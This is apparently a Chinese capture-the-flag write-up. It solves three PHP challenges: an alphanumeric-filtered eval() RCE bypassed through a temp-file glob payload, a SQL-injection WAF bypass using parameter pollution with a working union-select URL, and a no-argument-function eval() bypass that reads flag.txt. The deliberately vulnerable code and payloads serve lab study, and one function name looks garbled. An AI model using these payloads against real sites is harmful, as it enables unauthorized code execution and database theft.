文章目录
1、RCE绕过
bash
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
主要就是绕过该代码
首先,我们来解析一下这个代码的重点:
1、首先是第一点
bash
if(strlen($code)>35
他限制了代码的长度,不能超过35个字节,但是这个无关紧要,下面这个才是最重要的
2、第二点
bash
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
他过滤了所有的字母和数字,也就是说,不能输入如何字母/数字------即只是输入字符,?????这限制的有些变态,不输入字母,数字我怎么查询
那么接下来就要说说我们的RCE绕过了
我们可以通过临时文件的方法去绕过该过滤
首先创建一个HTML文件,如下:
这里的index.php是上面代码的文件名,该HTML文件和index.php在同一目录下(该目录是nginx底下的html目录)
写好文件后,那么后面就简单了,我们在页面中打开这个HTML文件,传入一个自定义的txt文件内容是:
bash
#! bin bash
id
然后抓包:
主要是两个包
这个是HTML传送时抓的包
这个是index.php代码页面的包,是GET的
抓到这两个包后都放入重放器
接下来就是个人操作时间了
将POST里面的内容该复制的复制,然后都贴贴到GET的包中,然后将GET改为POST,具体布局如下:
然后就是最重要的一点,就是看我最上面的红框,写入绕过代码:
bash
?code=?><?=`.+/???/????????[@-[]`;?>
这个代码在burp中可以这样写,但是在页面的搜索框中输入的话,要将其编码
转换成编码应该是这个:
bash
3F%3E%3C%3F%3D%60%2E%2B%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E
然后发送运行就行,但是我这个不知道是什么问题,就是显示不出来看,研究了好久,按理来说会向下面一样跳出flag
经过排查,最终还是解决了这个问题:
我查看了/tmp文件
php
cd /tmp
原来是他自动匹配到了其他文件,我将其删除后,就成功了
2、贷齐乐的漏洞复现
php
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysqli_query($sql);
while($row = mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
主要是这个的过滤
php
preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
他将"select"和"union"和"outfile"等,刚看的话有点束手无措的感觉(到底是谁把这个程序员入侵得都急眼了,直接把能想到的过滤都加上了)
但是细想的话,还是可以绕过的
可以使用全局污染:php默认先选择后面的参数,但是这也不够,因为我们是想要第一次选择后面的参数,绕过这个过滤进入内部,然后第二次选择第一个参数,覆盖第二个参数,让第一个参数携带查询代码,进行入侵
然后我想到,可以使用".",在request()会将 "." 变为 "__" ,但是server()不会,所以可以进行前面说的绕过
"." 在搜索框输入后,php的request()会将 "." 变为 "__" :即 "i.d"------>"i_d",php会选择将"i.d"的值输入,但是到第二次时,server()不会将"."变为 "_","." 就是 "." ,下划线就是下划线,如果前面有"i_d",那么会选择前面"i_d"的值。
后续的绕过就比较简单了,空格用"/**/"来代替,"="用"like"代替,还有单双引号的过滤,可以将内容进行16进制转换,然后一个一个查询就行了,查询出库名表名和列名,基本上就能把你想要的数据查询到了,上图就是一个普通绕过的展示。
bash
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1
这个是查询数据库的代码,后续查找用户等都可以以这个为例
3、函数绕过
php
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
eval($_GET['code']);
}
?>
可以利用函数套函数的方式查询到下面的数据
php
print_r(scandir(current(localesony());成功打印出当前目录下文件:
pos()和reset()都有相同的效果
利用抓包,然后添加如下代码:
成功找到了flag.txt文件
利用以下函数,随机选取,使文件都可以访问到,不用说在中间无法访问,但是需要多长刷,直到刷到flag.txt文件为止。
php
array_rand(array_flip())
具体查询代码
php
?code=show_source(array_rand(array_flip(scandir(getcwd()))));